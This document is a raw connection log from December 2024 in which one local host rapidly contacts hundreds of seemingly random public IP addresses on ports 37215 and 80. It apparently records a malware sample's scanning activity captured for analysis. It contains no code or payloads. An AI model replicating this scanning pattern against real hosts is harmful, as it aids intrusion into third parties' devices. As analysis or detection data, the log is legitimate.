Dec 3, 2024 23:01:45.657756090 CET	59534	37215	192.168.2.23	197.167.32.249
Dec 3, 2024 23:01:45.657788038 CET	59534	37215	192.168.2.23	156.21.84.215
Dec 3, 2024 23:01:45.657788992 CET	59534	37215	192.168.2.23	41.37.105.215
Dec 3, 2024 23:01:45.657788992 CET	59534	37215	192.168.2.23	197.124.104.90
Dec 3, 2024 23:01:45.657789946 CET	59534	37215	192.168.2.23	197.109.3.169
Dec 3, 2024 23:01:45.657788992 CET	59534	37215	192.168.2.23	41.221.187.210
Dec 3, 2024 23:01:45.657790899 CET	59534	37215	192.168.2.23	41.253.48.69
Dec 3, 2024 23:01:45.657789946 CET	59534	37215	192.168.2.23	197.143.45.35
Dec 3, 2024 23:01:45.657790899 CET	59534	37215	192.168.2.23	156.55.156.128
Dec 3, 2024 23:01:45.657790899 CET	59534	37215	192.168.2.23	41.115.87.97
Dec 3, 2024 23:01:45.657804012 CET	59534	37215	192.168.2.23	197.127.40.17
Dec 3, 2024 23:01:45.657808065 CET	59534	37215	192.168.2.23	197.52.221.239
Dec 3, 2024 23:01:45.657808065 CET	59534	37215	192.168.2.23	41.12.72.106
Dec 3, 2024 23:01:45.657808065 CET	59534	37215	192.168.2.23	156.226.104.9
Dec 3, 2024 23:01:45.657809019 CET	59534	37215	192.168.2.23	41.155.7.200
Dec 3, 2024 23:01:45.657808065 CET	59534	37215	192.168.2.23	156.124.233.120
Dec 3, 2024 23:01:45.657809019 CET	59534	37215	192.168.2.23	156.233.165.119
Dec 3, 2024 23:01:45.657809019 CET	59534	37215	192.168.2.23	41.80.10.222
Dec 3, 2024 23:01:45.657821894 CET	59534	37215	192.168.2.23	156.199.71.141
Dec 3, 2024 23:01:45.657821894 CET	59534	37215	192.168.2.23	156.72.2.134
Dec 3, 2024 23:01:45.657821894 CET	59534	37215	192.168.2.23	197.97.141.127
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	41.191.63.29
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	197.139.52.188
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	41.245.183.230
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	156.18.236.6
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	41.79.172.220
Dec 3, 2024 23:01:45.657826900 CET	59534	37215	192.168.2.23	156.238.224.79
Dec 3, 2024 23:01:45.657829046 CET	59534	37215	192.168.2.23	156.249.125.2
Dec 3, 2024 23:01:45.657829046 CET	59534	37215	192.168.2.23	41.13.155.161
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.151.23.88
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.33.232.89
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.215.215.104
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	41.68.172.139
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.137.241.91
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.71.254.60
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	41.80.5.217
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	41.218.115.231
Dec 3, 2024 23:01:45.657841921 CET	59534	37215	192.168.2.23	197.107.99.183
Dec 3, 2024 23:01:45.657846928 CET	59534	37215	192.168.2.23	41.198.33.59
Dec 3, 2024 23:01:45.657846928 CET	59534	37215	192.168.2.23	41.243.215.174
Dec 3, 2024 23:01:45.657847881 CET	59534	37215	192.168.2.23	197.246.247.175
Dec 3, 2024 23:01:45.657855988 CET	59534	37215	192.168.2.23	197.89.63.183
Dec 3, 2024 23:01:45.657857895 CET	59534	37215	192.168.2.23	197.127.217.93
Dec 3, 2024 23:01:45.657871962 CET	59534	37215	192.168.2.23	156.240.254.59
Dec 3, 2024 23:01:45.657881975 CET	59534	37215	192.168.2.23	156.129.30.140
Dec 3, 2024 23:01:45.657881975 CET	59534	37215	192.168.2.23	156.183.76.9
Dec 3, 2024 23:01:45.657888889 CET	59534	37215	192.168.2.23	41.115.183.174
Dec 3, 2024 23:01:45.657890081 CET	59534	37215	192.168.2.23	156.216.42.135
Dec 3, 2024 23:01:45.657890081 CET	59534	37215	192.168.2.23	156.114.119.54
Dec 3, 2024 23:01:45.657896996 CET	59534	37215	192.168.2.23	41.239.136.95
Dec 3, 2024 23:01:45.657898903 CET	59534	37215	192.168.2.23	156.209.52.144
Dec 3, 2024 23:01:45.657905102 CET	59534	37215	192.168.2.23	156.225.62.99
Dec 3, 2024 23:01:45.657916069 CET	59534	37215	192.168.2.23	41.101.131.68
Dec 3, 2024 23:01:45.657917976 CET	59534	37215	192.168.2.23	41.114.119.175
Dec 3, 2024 23:01:45.657931089 CET	59534	37215	192.168.2.23	41.29.4.215
Dec 3, 2024 23:01:45.657931089 CET	59534	37215	192.168.2.23	41.84.138.115
Dec 3, 2024 23:01:45.657932997 CET	59534	37215	192.168.2.23	197.39.160.83
Dec 3, 2024 23:01:45.657944918 CET	59534	37215	192.168.2.23	156.92.142.30
Dec 3, 2024 23:01:45.657944918 CET	59534	37215	192.168.2.23	197.20.73.21
Dec 3, 2024 23:01:45.657948017 CET	59534	37215	192.168.2.23	41.33.221.5
Dec 3, 2024 23:01:45.657959938 CET	59534	37215	192.168.2.23	41.14.129.186
Dec 3, 2024 23:01:45.657963037 CET	59534	37215	192.168.2.23	41.33.63.87
Dec 3, 2024 23:01:45.657967091 CET	59534	37215	192.168.2.23	197.80.87.197
Dec 3, 2024 23:01:45.657975912 CET	59534	37215	192.168.2.23	156.214.250.242
Dec 3, 2024 23:01:45.657979965 CET	59534	37215	192.168.2.23	156.160.137.1
Dec 3, 2024 23:01:45.657979965 CET	59534	37215	192.168.2.23	41.236.120.28
Dec 3, 2024 23:01:45.657984972 CET	59534	37215	192.168.2.23	41.126.159.167
Dec 3, 2024 23:01:45.657985926 CET	59534	37215	192.168.2.23	156.129.174.150
Dec 3, 2024 23:01:45.657985926 CET	59534	37215	192.168.2.23	197.199.60.93
Dec 3, 2024 23:01:45.658003092 CET	59534	37215	192.168.2.23	156.9.172.76
Dec 3, 2024 23:01:45.658004999 CET	59534	37215	192.168.2.23	197.99.170.230
Dec 3, 2024 23:01:45.658013105 CET	59534	37215	192.168.2.23	41.250.121.148
Dec 3, 2024 23:01:45.658021927 CET	59534	37215	192.168.2.23	41.121.70.97
Dec 3, 2024 23:01:45.658035994 CET	59534	37215	192.168.2.23	41.65.245.46
Dec 3, 2024 23:01:45.658035994 CET	59534	37215	192.168.2.23	156.212.91.196
Dec 3, 2024 23:01:45.658040047 CET	59534	37215	192.168.2.23	156.152.166.172
Dec 3, 2024 23:01:45.658041954 CET	59534	37215	192.168.2.23	41.49.119.80
Dec 3, 2024 23:01:45.658044100 CET	59534	37215	192.168.2.23	197.30.221.186
Dec 3, 2024 23:01:45.658050060 CET	59534	37215	192.168.2.23	41.219.228.221
Dec 3, 2024 23:01:45.658051968 CET	59534	37215	192.168.2.23	197.78.143.166
Dec 3, 2024 23:01:45.658060074 CET	59534	37215	192.168.2.23	197.141.196.164
Dec 3, 2024 23:01:45.658062935 CET	59534	37215	192.168.2.23	41.163.124.17
Dec 3, 2024 23:01:45.658072948 CET	59534	37215	192.168.2.23	197.39.222.203
Dec 3, 2024 23:01:45.658078909 CET	59534	37215	192.168.2.23	197.56.241.214
Dec 3, 2024 23:01:45.658083916 CET	59534	37215	192.168.2.23	156.229.59.42
Dec 3, 2024 23:01:45.658087969 CET	59534	37215	192.168.2.23	197.35.240.176
Dec 3, 2024 23:01:45.658092976 CET	59534	37215	192.168.2.23	197.11.67.175
Dec 3, 2024 23:01:45.658093929 CET	59534	37215	192.168.2.23	156.221.149.119
Dec 3, 2024 23:01:45.658102989 CET	59534	37215	192.168.2.23	41.51.163.157
Dec 3, 2024 23:01:45.658111095 CET	59534	37215	192.168.2.23	41.134.231.27
Dec 3, 2024 23:01:45.658111095 CET	59534	37215	192.168.2.23	197.124.162.20
Dec 3, 2024 23:01:45.658113003 CET	59534	37215	192.168.2.23	156.76.130.82
Dec 3, 2024 23:01:45.658113003 CET	59534	37215	192.168.2.23	156.151.185.150
Dec 3, 2024 23:01:45.658113003 CET	59534	37215	192.168.2.23	156.58.180.53
Dec 3, 2024 23:01:45.658127069 CET	59534	37215	192.168.2.23	41.4.16.208
Dec 3, 2024 23:01:45.658127069 CET	59534	37215	192.168.2.23	41.111.180.24
Dec 3, 2024 23:01:45.658138037 CET	59534	37215	192.168.2.23	197.76.215.181
Dec 3, 2024 23:01:45.658140898 CET	59534	37215	192.168.2.23	156.46.76.134
Dec 3, 2024 23:01:45.658143044 CET	59534	37215	192.168.2.23	41.155.56.244
Dec 3, 2024 23:01:45.658147097 CET	59534	37215	192.168.2.23	41.60.175.252
Dec 3, 2024 23:01:45.658148050 CET	59534	37215	192.168.2.23	156.164.190.46
Dec 3, 2024 23:01:45.658148050 CET	59534	37215	192.168.2.23	156.50.177.180
Dec 3, 2024 23:01:45.658158064 CET	59534	37215	192.168.2.23	41.11.234.71
Dec 3, 2024 23:01:45.658168077 CET	59534	37215	192.168.2.23	156.78.14.23
Dec 3, 2024 23:01:45.658169031 CET	59534	37215	192.168.2.23	156.47.39.144
Dec 3, 2024 23:01:45.658171892 CET	59534	37215	192.168.2.23	41.228.187.232
Dec 3, 2024 23:01:45.658179045 CET	59534	37215	192.168.2.23	41.192.236.217
Dec 3, 2024 23:01:45.658185959 CET	59534	37215	192.168.2.23	197.39.217.97
Dec 3, 2024 23:01:45.658186913 CET	59534	37215	192.168.2.23	41.184.34.62
Dec 3, 2024 23:01:45.658190966 CET	59534	37215	192.168.2.23	156.179.192.203
Dec 3, 2024 23:01:45.658195972 CET	59534	37215	192.168.2.23	41.210.47.55
Dec 3, 2024 23:01:45.658196926 CET	59534	37215	192.168.2.23	156.38.109.86
Dec 3, 2024 23:01:45.658198118 CET	59534	37215	192.168.2.23	156.153.90.7
Dec 3, 2024 23:01:45.658202887 CET	59534	37215	192.168.2.23	41.116.236.157
Dec 3, 2024 23:01:45.658211946 CET	59534	37215	192.168.2.23	197.27.12.102
Dec 3, 2024 23:01:45.658216953 CET	59534	37215	192.168.2.23	197.255.107.29
Dec 3, 2024 23:01:45.658220053 CET	59534	37215	192.168.2.23	197.94.125.48
Dec 3, 2024 23:01:45.658221960 CET	59534	37215	192.168.2.23	41.83.78.200
Dec 3, 2024 23:01:45.658227921 CET	59534	37215	192.168.2.23	197.206.65.53
Dec 3, 2024 23:01:45.658229113 CET	59534	37215	192.168.2.23	156.101.136.237
Dec 3, 2024 23:01:45.658232927 CET	59534	37215	192.168.2.23	197.122.240.172
Dec 3, 2024 23:01:45.658233881 CET	59534	37215	192.168.2.23	41.3.129.3
Dec 3, 2024 23:01:45.658236980 CET	59534	37215	192.168.2.23	156.59.3.73
Dec 3, 2024 23:01:45.658236980 CET	59534	37215	192.168.2.23	41.159.201.255
Dec 3, 2024 23:01:45.658241987 CET	59534	37215	192.168.2.23	156.235.204.226
Dec 3, 2024 23:01:45.658252954 CET	59534	37215	192.168.2.23	156.183.23.47
Dec 3, 2024 23:01:45.658261061 CET	59534	37215	192.168.2.23	197.197.147.80
Dec 3, 2024 23:01:45.658267021 CET	59534	37215	192.168.2.23	41.30.210.59
Dec 3, 2024 23:01:45.658272982 CET	59534	37215	192.168.2.23	197.82.24.28
Dec 3, 2024 23:01:45.658276081 CET	59534	37215	192.168.2.23	41.145.1.252
Dec 3, 2024 23:01:45.658277035 CET	59534	37215	192.168.2.23	41.202.75.102
Dec 3, 2024 23:01:45.658281088 CET	59534	37215	192.168.2.23	41.27.71.62
Dec 3, 2024 23:01:45.658283949 CET	59534	37215	192.168.2.23	156.147.13.185
Dec 3, 2024 23:01:45.658298016 CET	59534	37215	192.168.2.23	197.105.66.175
Dec 3, 2024 23:01:45.658298969 CET	59534	37215	192.168.2.23	41.190.206.108
Dec 3, 2024 23:01:45.658303976 CET	59534	37215	192.168.2.23	156.108.104.133
Dec 3, 2024 23:01:45.658312082 CET	59534	37215	192.168.2.23	156.55.219.98
Dec 3, 2024 23:01:45.658313036 CET	59534	37215	192.168.2.23	156.227.2.239
Dec 3, 2024 23:01:45.658324957 CET	59534	37215	192.168.2.23	156.57.6.130
Dec 3, 2024 23:01:45.658325911 CET	59534	37215	192.168.2.23	197.139.190.122
Dec 3, 2024 23:01:45.658328056 CET	59534	37215	192.168.2.23	156.17.199.225
Dec 3, 2024 23:01:45.658330917 CET	59534	37215	192.168.2.23	197.103.191.42
Dec 3, 2024 23:01:45.658330917 CET	59534	37215	192.168.2.23	41.51.116.203
Dec 3, 2024 23:01:45.658330917 CET	59534	37215	192.168.2.23	156.129.25.248
Dec 3, 2024 23:01:45.658335924 CET	59534	37215	192.168.2.23	41.86.28.152
Dec 3, 2024 23:01:45.658344030 CET	59534	37215	192.168.2.23	197.91.60.222
Dec 3, 2024 23:01:45.658346891 CET	59534	37215	192.168.2.23	156.109.94.3
Dec 3, 2024 23:01:45.658348083 CET	59534	37215	192.168.2.23	197.225.154.176
Dec 3, 2024 23:01:45.658368111 CET	59534	37215	192.168.2.23	156.44.65.231
Dec 3, 2024 23:01:45.658371925 CET	59534	37215	192.168.2.23	41.9.231.217
Dec 3, 2024 23:01:45.658381939 CET	59534	37215	192.168.2.23	41.135.116.172
Dec 3, 2024 23:01:45.658389091 CET	59534	37215	192.168.2.23	41.112.171.253
Dec 3, 2024 23:01:45.658390999 CET	59534	37215	192.168.2.23	156.185.119.64
Dec 3, 2024 23:01:45.662195921 CET	60046	80	192.168.2.23	222.138.7.108
Dec 3, 2024 23:01:45.662199020 CET	60046	80	192.168.2.23	151.141.173.28
Dec 3, 2024 23:01:45.662283897 CET	60046	80	192.168.2.23	48.91.215.27
Dec 3, 2024 23:01:45.662290096 CET	60046	80	192.168.2.23	110.100.185.107
Dec 3, 2024 23:01:45.662297964 CET	60046	80	192.168.2.23	150.19.237.92
Dec 3, 2024 23:01:45.662300110 CET	60046	80	192.168.2.23	188.168.147.123
Dec 3, 2024 23:01:45.662309885 CET	60046	80	192.168.2.23	137.126.120.23
Dec 3, 2024 23:01:45.662317991 CET	60046	80	192.168.2.23	144.143.217.127
Dec 3, 2024 23:01:45.662318945 CET	60046	80	192.168.2.23	92.208.115.201
Dec 3, 2024 23:01:45.662322044 CET	60046	80	192.168.2.23	50.22.199.23
Dec 3, 2024 23:01:45.662322044 CET	60046	80	192.168.2.23	117.32.228.18
Dec 3, 2024 23:01:45.662460089 CET	60046	80	192.168.2.23	45.238.80.97
Dec 3, 2024 23:01:45.662477970 CET	60046	80	192.168.2.23	90.74.219.56
Dec 3, 2024 23:01:45.662477970 CET	60046	80	192.168.2.23	151.125.219.172
Dec 3, 2024 23:01:45.662478924 CET	60046	80	192.168.2.23	14.89.192.144
Dec 3, 2024 23:01:45.662484884 CET	60046	80	192.168.2.23	49.162.36.119
Dec 3, 2024 23:01:45.662486076 CET	60046	80	192.168.2.23	183.103.119.220
Dec 3, 2024 23:01:45.662492037 CET	60046	80	192.168.2.23	203.140.229.152
Dec 3, 2024 23:01:45.662509918 CET	60046	80	192.168.2.23	139.152.220.153
Dec 3, 2024 23:01:45.662518024 CET	60046	80	192.168.2.23	101.180.239.32
Dec 3, 2024 23:01:45.662520885 CET	60046	80	192.168.2.23	170.140.137.37
Dec 3, 2024 23:01:45.662522078 CET	60046	80	192.168.2.23	43.248.156.43
Dec 3, 2024 23:01:45.662527084 CET	60046	80	192.168.2.23	170.28.43.118
Dec 3, 2024 23:01:45.662535906 CET	60046	80	192.168.2.23	152.106.22.165
Dec 3, 2024 23:01:45.662539005 CET	60046	80	192.168.2.23	212.99.24.166
Dec 3, 2024 23:01:45.662549973 CET	60046	80	192.168.2.23	59.182.2.134
Dec 3, 2024 23:01:45.662555933 CET	60046	80	192.168.2.23	211.140.13.140
Dec 3, 2024 23:01:45.662555933 CET	60046	80	192.168.2.23	64.21.25.61
Dec 3, 2024 23:01:45.662559986 CET	60046	80	192.168.2.23	156.120.209.61
Dec 3, 2024 23:01:45.662563086 CET	60046	80	192.168.2.23	157.53.22.253
Dec 3, 2024 23:01:45.662563086 CET	60046	80	192.168.2.23	177.158.172.255
Dec 3, 2024 23:01:45.662575006 CET	60046	80	192.168.2.23	82.105.157.106
Dec 3, 2024 23:01:45.662580967 CET	60046	80	192.168.2.23	221.150.246.190
Dec 3, 2024 23:01:45.662594080 CET	60046	80	192.168.2.23	14.139.29.220
Dec 3, 2024 23:01:45.662734032 CET	60046	80	192.168.2.23	96.115.135.188
Dec 3, 2024 23:01:45.662745953 CET	60046	80	192.168.2.23	142.248.21.182
Dec 3, 2024 23:01:45.662751913 CET	60046	80	192.168.2.23	149.18.71.237
Dec 3, 2024 23:01:45.662758112 CET	60046	80	192.168.2.23	64.96.222.112
Dec 3, 2024 23:01:45.662758112 CET	60046	80	192.168.2.23	77.220.57.119
Dec 3, 2024 23:01:45.662758112 CET	60046	80	192.168.2.23	218.126.105.145
Dec 3, 2024 23:01:45.662760973 CET	60046	80	192.168.2.23	94.238.93.239
Dec 3, 2024 23:01:45.662765980 CET	60046	80	192.168.2.23	41.74.237.123
Dec 3, 2024 23:01:45.662842989 CET	60046	80	192.168.2.23	24.70.244.136
Dec 3, 2024 23:01:45.662851095 CET	60046	80	192.168.2.23	198.76.83.241
Dec 3, 2024 23:01:45.662851095 CET	60046	80	192.168.2.23	77.124.210.191
Dec 3, 2024 23:01:45.662864923 CET	60046	80	192.168.2.23	147.174.202.130
Dec 3, 2024 23:01:45.662872076 CET	60046	80	192.168.2.23	86.205.235.190
Dec 3, 2024 23:01:45.662873983 CET	60046	80	192.168.2.23	183.87.253.218
Dec 3, 2024 23:01:45.662873983 CET	60046	80	192.168.2.23	115.103.23.163
Dec 3, 2024 23:01:45.662877083 CET	60046	80	192.168.2.23	135.116.217.245
Dec 3, 2024 23:01:45.662957907 CET	60046	80	192.168.2.23	153.117.141.184
Dec 3, 2024 23:01:45.662966967 CET	60046	80	192.168.2.23	60.228.247.87
Dec 3, 2024 23:01:45.662978888 CET	60046	80	192.168.2.23	41.65.252.38
Dec 3, 2024 23:01:45.662978888 CET	60046	80	192.168.2.23	133.76.157.77
Dec 3, 2024 23:01:45.662986040 CET	60046	80	192.168.2.23	146.68.108.35
Dec 3, 2024 23:01:45.662986994 CET	60046	80	192.168.2.23	1.99.251.111
Dec 3, 2024 23:01:45.662998915 CET	60046	80	192.168.2.23	75.69.126.104
Dec 3, 2024 23:01:45.663141012 CET	60046	80	192.168.2.23	4.61.245.96
Dec 3, 2024 23:01:45.663141012 CET	60046	80	192.168.2.23	145.246.216.51
Dec 3, 2024 23:01:45.663141012 CET	60046	80	192.168.2.23	58.116.31.62
Dec 3, 2024 23:01:45.663167000 CET	60046	80	192.168.2.23	58.87.65.150
Dec 3, 2024 23:01:45.663167000 CET	60046	80	192.168.2.23	54.139.137.139
Dec 3, 2024 23:01:45.663171053 CET	60046	80	192.168.2.23	57.166.218.214
Dec 3, 2024 23:01:45.663171053 CET	60046	80	192.168.2.23	46.65.76.209
Dec 3, 2024 23:01:45.663172007 CET	60046	80	192.168.2.23	65.142.144.191
Dec 3, 2024 23:01:45.663176060 CET	60046	80	192.168.2.23	71.113.171.182
Dec 3, 2024 23:01:45.663181067 CET	60046	80	192.168.2.23	118.86.207.89
Dec 3, 2024 23:01:45.663181067 CET	60046	80	192.168.2.23	159.14.243.151
Dec 3, 2024 23:01:45.663182974 CET	60046	80	192.168.2.23	19.207.238.33
Dec 3, 2024 23:01:45.663182974 CET	60046	80	192.168.2.23	121.103.84.230
Dec 3, 2024 23:01:45.663186073 CET	60046	80	192.168.2.23	43.10.160.197
Dec 3, 2024 23:01:45.663259983 CET	60046	80	192.168.2.23	102.226.16.13
Dec 3, 2024 23:01:45.663263083 CET	60046	80	192.168.2.23	47.82.44.109
Dec 3, 2024 23:01:45.663275003 CET	60046	80	192.168.2.23	108.234.97.33
Dec 3, 2024 23:01:45.663281918 CET	60046	80	192.168.2.23	176.30.227.175
Dec 3, 2024 23:01:45.663286924 CET	60046	80	192.168.2.23	187.32.136.107
Dec 3, 2024 23:01:45.663290024 CET	60046	80	192.168.2.23	221.116.185.240
Dec 3, 2024 23:01:45.663295031 CET	60046	80	192.168.2.23	133.185.240.128
Dec 3, 2024 23:01:45.663295984 CET	60046	80	192.168.2.23	167.230.236.59
Dec 3, 2024 23:01:45.663402081 CET	60046	80	192.168.2.23	121.139.253.145
Dec 3, 2024 23:01:45.663404942 CET	60046	80	192.168.2.23	25.157.96.250
Dec 3, 2024 23:01:45.663404942 CET	60046	80	192.168.2.23	90.65.103.142
Dec 3, 2024 23:01:45.663415909 CET	60046	80	192.168.2.23	187.12.114.50
Dec 3, 2024 23:01:45.663423061 CET	60046	80	192.168.2.23	94.221.221.163
Dec 3, 2024 23:01:45.663423061 CET	60046	80	192.168.2.23	83.81.103.235
Dec 3, 2024 23:01:45.663427114 CET	60046	80	192.168.2.23	211.67.54.175
Dec 3, 2024 23:01:45.663438082 CET	60046	80	192.168.2.23	129.88.177.30
Dec 3, 2024 23:01:45.663445950 CET	60046	80	192.168.2.23	133.200.231.46
Dec 3, 2024 23:01:45.665015936 CET	60046	80	192.168.2.23	187.156.172.1
Dec 3, 2024 23:01:45.665016890 CET	60046	80	192.168.2.23	158.225.245.154
Dec 3, 2024 23:01:45.665018082 CET	60046	80	192.168.2.23	167.110.198.115
Dec 3, 2024 23:01:45.665018082 CET	60046	80	192.168.2.23	170.8.73.139
Dec 3, 2024 23:01:45.665031910 CET	60046	80	192.168.2.23	153.83.252.28
Dec 3, 2024 23:01:45.665040016 CET	60046	80	192.168.2.23	129.133.181.132
Dec 3, 2024 23:01:45.665038109 CET	60046	80	192.168.2.23	166.114.56.194
Dec 3, 2024 23:01:45.665038109 CET	60046	80	192.168.2.23	97.66.28.198
Dec 3, 2024 23:01:45.665046930 CET	60046	80	192.168.2.23	27.153.177.116
Dec 3, 2024 23:01:45.665047884 CET	60046	80	192.168.2.23	97.117.125.51
Dec 3, 2024 23:01:45.665051937 CET	60046	80	192.168.2.23	115.241.213.219
Dec 3, 2024 23:01:45.665054083 CET	60046	80	192.168.2.23	203.107.6.5
Dec 3, 2024 23:01:45.665054083 CET	60046	80	192.168.2.23	47.112.182.0
Dec 3, 2024 23:01:45.665054083 CET	60046	80	192.168.2.23	68.161.165.247
Dec 3, 2024 23:01:45.665054083 CET	60046	80	192.168.2.23	81.177.16.198
Dec 3, 2024 23:01:45.665056944 CET	60046	80	192.168.2.23	41.10.116.0
Dec 3, 2024 23:01:45.665057898 CET	60046	80	192.168.2.23	61.112.234.6
Dec 3, 2024 23:01:45.665057898 CET	60046	80	192.168.2.23	193.1.222.35
Dec 3, 2024 23:01:45.665060043 CET	60046	80	192.168.2.23	187.13.231.122
Dec 3, 2024 23:01:45.665074110 CET	60046	80	192.168.2.23	220.226.2.97
Dec 3, 2024 23:01:45.665076017 CET	60046	80	192.168.2.23	68.135.81.22
Dec 3, 2024 23:01:45.665076017 CET	60046	80	192.168.2.23	35.195.180.169
Dec 3, 2024 23:01:45.665086031 CET	60046	80	192.168.2.23	1.33.190.207
Dec 3, 2024 23:01:45.665086985 CET	60046	80	192.168.2.23	49.10.211.169
Dec 3, 2024 23:01:45.665090084 CET	60046	80	192.168.2.23	212.114.15.219
Dec 3, 2024 23:01:45.665098906 CET	60046	80	192.168.2.23	209.21.198.199
Dec 3, 2024 23:01:45.665098906 CET	60046	80	192.168.2.23	49.117.51.110
Dec 3, 2024 23:01:45.665113926 CET	60046	80	192.168.2.23	51.9.142.248
Dec 3, 2024 23:01:45.665117025 CET	60046	80	192.168.2.23	95.183.218.118
Dec 3, 2024 23:01:45.665118933 CET	60046	80	192.168.2.23	77.178.4.126
Dec 3, 2024 23:01:45.665118933 CET	60046	80	192.168.2.23	188.49.153.22
Dec 3, 2024 23:01:45.665119886 CET	60046	80	192.168.2.23	205.140.162.39
Dec 3, 2024 23:01:45.665124893 CET	60046	80	192.168.2.23	87.178.70.92
Dec 3, 2024 23:01:45.665128946 CET	60046	80	192.168.2.23	220.139.211.192
Dec 3, 2024 23:01:45.665138960 CET	60046	80	192.168.2.23	222.144.47.135
Dec 3, 2024 23:01:45.665144920 CET	60046	80	192.168.2.23	197.61.99.56
Dec 3, 2024 23:01:45.665147066 CET	60046	80	192.168.2.23	211.245.176.151
Dec 3, 2024 23:01:45.665148973 CET	60046	80	192.168.2.23	132.197.186.77
Dec 3, 2024 23:01:45.665165901 CET	60046	80	192.168.2.23	207.66.45.154
Dec 3, 2024 23:01:45.665167093 CET	60046	80	192.168.2.23	19.215.76.84
Dec 3, 2024 23:01:45.665167093 CET	60046	80	192.168.2.23	203.13.159.199
Dec 3, 2024 23:01:45.665167093 CET	60046	80	192.168.2.23	24.27.43.164
Dec 3, 2024 23:01:45.665178061 CET	60046	80	192.168.2.23	103.212.167.111
Dec 3, 2024 23:01:45.665186882 CET	60046	80	192.168.2.23	137.39.73.104
Dec 3, 2024 23:01:45.665186882 CET	60046	80	192.168.2.23	17.239.147.7
Dec 3, 2024 23:01:45.665186882 CET	60046	80	192.168.2.23	149.159.212.139
Dec 3, 2024 23:01:45.665194988 CET	60046	80	192.168.2.23	52.109.22.237
Dec 3, 2024 23:01:45.665194988 CET	60046	80	192.168.2.23	122.215.54.216
Dec 3, 2024 23:01:45.665204048 CET	60046	80	192.168.2.23	192.208.61.175
Dec 3, 2024 23:01:45.665205956 CET	60046	80	192.168.2.23	61.151.21.234
Dec 3, 2024 23:01:45.665206909 CET	60046	80	192.168.2.23	153.112.62.143
Dec 3, 2024 23:01:45.665208101 CET	60046	80	192.168.2.23	166.66.22.152
Dec 3, 2024 23:01:45.665222883 CET	60046	80	192.168.2.23	180.4.215.29
Dec 3, 2024 23:01:45.665224075 CET	60046	80	192.168.2.23	75.186.126.13
Dec 3, 2024 23:01:45.665231943 CET	60046	80	192.168.2.23	219.29.143.108
Dec 3, 2024 23:01:45.665231943 CET	60046	80	192.168.2.23	200.136.33.43
Dec 3, 2024 23:01:45.665242910 CET	60046	80	192.168.2.23	120.247.247.101
Dec 3, 2024 23:01:45.665246010 CET	60046	80	192.168.2.23	155.252.48.220
Dec 3, 2024 23:01:45.665247917 CET	60046	80	192.168.2.23	155.219.255.194
Dec 3, 2024 23:01:45.665258884 CET	60046	80	192.168.2.23	155.65.153.97
Dec 3, 2024 23:01:45.665258884 CET	60046	80	192.168.2.23	18.73.176.44
Dec 3, 2024 23:01:45.665272951 CET	60046	80	192.168.2.23	85.102.216.178
Dec 3, 2024 23:01:45.665277958 CET	60046	80	192.168.2.23	151.123.166.39
Dec 3, 2024 23:01:45.665278912 CET	60046	80	192.168.2.23	152.37.90.233
Dec 3, 2024 23:01:45.665282011 CET	60046	80	192.168.2.23	188.36.21.96
Dec 3, 2024 23:01:45.665301085 CET	60046	80	192.168.2.23	112.232.0.11
Dec 3, 2024 23:01:45.665302038 CET	60046	80	192.168.2.23	162.31.106.65
Dec 3, 2024 23:01:45.665302038 CET	60046	80	192.168.2.23	106.37.128.189
Dec 3, 2024 23:01:45.665303946 CET	60046	80	192.168.2.23	88.254.9.10
Dec 3, 2024 23:01:45.665307045 CET	60046	80	192.168.2.23	182.18.94.54
Dec 3, 2024 23:01:45.665313959 CET	60046	80	192.168.2.23	93.134.113.67
Dec 3, 2024 23:01:45.665313959 CET	60046	80	192.168.2.23	163.86.135.84
Dec 3, 2024 23:01:45.665316105 CET	60046	80	192.168.2.23	176.2.198.113
Dec 3, 2024 23:01:45.665326118 CET	60046	80	192.168.2.23	95.250.114.250
Dec 3, 2024 23:01:45.665326118 CET	60046	80	192.168.2.23	45.102.8.87
Dec 3, 2024 23:01:45.665328979 CET	60046	80	192.168.2.23	34.53.116.9
Dec 3, 2024 23:01:45.665334940 CET	60046	80	192.168.2.23	203.239.66.9
Dec 3, 2024 23:01:45.665334940 CET	60046	80	192.168.2.23	130.231.123.132
Dec 3, 2024 23:01:45.665334940 CET	60046	80	192.168.2.23	146.50.157.9
Dec 3, 2024 23:01:45.665338039 CET	60046	80	192.168.2.23	135.8.182.116
Dec 3, 2024 23:01:45.665347099 CET	60046	80	192.168.2.23	25.85.234.16
Dec 3, 2024 23:01:45.665349007 CET	60046	80	192.168.2.23	120.157.240.33
Dec 3, 2024 23:01:45.665349007 CET	60046	80	192.168.2.23	61.99.229.39
Dec 3, 2024 23:01:45.665349007 CET	60046	80	192.168.2.23	83.215.93.168
Dec 3, 2024 23:01:45.665349960 CET	60046	80	192.168.2.23	99.14.77.88
Dec 3, 2024 23:01:45.665369987 CET	60046	80	192.168.2.23	186.36.48.17
Dec 3, 2024 23:01:45.665369987 CET	60046	80	192.168.2.23	223.123.140.16
Dec 3, 2024 23:01:45.665369987 CET	60046	80	192.168.2.23	184.66.143.35
Dec 3, 2024 23:01:45.665375948 CET	60046	80	192.168.2.23	46.206.255.90
Dec 3, 2024 23:01:45.665376902 CET	60046	80	192.168.2.23	178.198.184.254
Dec 3, 2024 23:01:45.665376902 CET	60046	80	192.168.2.23	153.59.41.229
Dec 3, 2024 23:01:45.665380001 CET	60046	80	192.168.2.23	63.119.47.105
Dec 3, 2024 23:01:45.665390015 CET	60046	80	192.168.2.23	207.231.78.32
Dec 3, 2024 23:01:45.665390968 CET	60046	80	192.168.2.23	94.52.39.110
Dec 3, 2024 23:01:45.665394068 CET	60046	80	192.168.2.23	109.135.0.100
Dec 3, 2024 23:01:45.665394068 CET	60046	80	192.168.2.23	118.17.255.92
